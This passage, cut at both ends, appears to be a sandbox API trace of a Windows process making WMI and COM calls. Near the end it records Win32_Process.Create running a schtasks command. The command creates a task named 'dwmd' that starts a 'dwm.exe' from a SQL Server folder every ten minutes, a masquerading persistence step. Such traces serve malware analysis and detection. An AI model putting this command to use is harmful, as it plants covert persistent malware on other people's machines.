Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.367] WbemDefPath:IUnknown:Release (This=0x1b48b710) returned 0x3 [0104.367] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0104.368] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0104.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0104.368] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0104.368] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0104.368] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0104.368] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0104.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x6566f0) returned 0x0 [0104.368] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0104.368] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0104.368] WbemDefPath:IWbemPath:SetText (This=0x6566f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0104.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0104.368] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0104.368] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.368] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0104.368] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0104.368] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0104.368] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.369] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b510) returned 0x0 [0104.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b510, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0104.369] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b510, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6567b0) returned 0x0 [0104.369] WbemDefPath:IUnknown:Release (This=0x1b48b510) returned 0x0 [0104.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6567b0) returned 0x0 [0104.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0104.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0104.370] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0104.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0104.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0104.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b530) returned 0x0 [0104.370] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b530, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.370] WbemDefPath:IUnknown:Release (This=0x1b48b530) returned 0x3 [0104.370] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0104.370] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0104.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0104.370] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0104.370] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0104.370] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0104.370] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0104.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6567b0) returned 0x0 [0104.370] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0104.370] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0104.370] WbemDefPath:IWbemPath:SetText (This=0x6567b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0104.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0104.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0104.371] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6566f0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6567b0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6567b0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0104.371] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6566f0, uIndex=0x0, pszName="root") returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6567b0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6567b0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0104.371] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6566f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetServer (in: This=0x6567b0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetServer (in: This=0x6567b0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetServer (in: This=0x6566f0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetServer (in: This=0x6566f0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetInfo (in: This=0x6566f0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0104.371] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.373] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0104.373] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0104.373] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.373] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0104.373] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0104.373] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0104.373] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0104.373] WbemLocator:IUnknown:AddRef (This=0x1b425d98) returned 0x3 [0104.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b425d98) returned 0x0 [0104.373] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x3 [0104.374] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x2 [0104.374] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0104.374] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0104.374] IWbemServices:GetObject (in: This=0x63c860, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b49d4f0, ppCallResult=0x0) returned 0x0 [0104.377] IWbemClassObject:GetMethod (in: This=0x1b49d4f0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b49df10, ppOutSignature=0x1b30d610*=0x1b49e6e0) returned 0x0 [0104.377] IWbemClassObject:SpawnInstance (in: This=0x1b49df10, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b49ea50) returned 0x0 [0104.475] IWbemClassObject:Get (in: This=0x1b49ea50, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292cdb8*=0, plFlavor=0x292cdbc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292cdb8*=8, plFlavor=0x292cdbc*=32) returned 0x0 [0104.476] IWbemClassObject:Get (in: This=0x1b49ea50, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292cdb8*=8, plFlavor=0x292cdbc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292cdb8*=8, plFlavor=0x292cdbc*=32) returned 0x0 [0104.477] IWbemClassObject:Put (This=0x1b49ea50, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0104.477] IWbemClassObject:Get (in: This=0x1b49ea50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292ce80*=0, plFlavor=0x292ce84*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292ce80*=13, plFlavor=0x292ce84*=32) returned 0x0 [0104.478] IWbemClassObject:Get (in: This=0x1b49ea50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292ce80*=13, plFlavor=0x292ce84*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x292ce80*=13, plFlavor=0x292ce84*=32) returned 0x0 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4705e0) returned 0x0 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0104.478] IUnknown:AddRef (This=0x1b4705e0) returned 0x3 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0104.478] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4705e8) returned 0x0 [0104.478] IMarshal:GetUnmarshalClass (in: This=0x1b4705e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0104.478] IUnknown:Release (This=0x1b4705e8) returned 0x3 [0104.478] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0104.479] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0104.479] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0104.479] IUnknown:Release (This=0x1b4705e0) returned 0x2 [0104.479] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0104.479] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0104.479] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0104.480] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0104.480] IUnknown:QueryInterface (in: This=0x1b4705e0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0104.480] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0104.480] IUnknown:AddRef (This=0x1b4705e0) returned 0x3 [0104.480] IWbemClassObject:Put (This=0x1b49ea50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4705e0, varVal2=0x0), Type=0) returned 0x0 [0104.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0104.497] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0104.497] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0104.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0104.497] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0104.497] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.497] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0104.497] WbemLocator:IUnknown:AddRef (This=0x1b425d98) returned 0x3 [0104.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b425d98) returned 0x0 [0104.497] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x3 [0104.497] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x2 [0104.497] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0104.497] WbemLocator:IUnknown:AddRef (This=0x1b425d98) returned 0x3 [0104.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1b425d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b425d98) returned 0x0 [0104.497] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x3 [0104.497] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x2 [0104.498] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0104.498] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0104.498] IWbemServices:ExecMethod (in: This=0x63c860, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b49ea50, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4a1200, ppCallResult=0x0) returned 0x0 [0104.799] IWbemClassObject:Get (in: This=0x1b4a1200, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ac858*=0, plFlavor=0x29ac85c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x117c, varVal2=0x0), pType=0x29ac858*=19, plFlavor=0x29ac85c*=0) returned 0x0 [0104.805] IWbemClassObject:Get (in: This=0x1b4a1200, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ac858*=19, plFlavor=0x29ac85c*=0 | out: 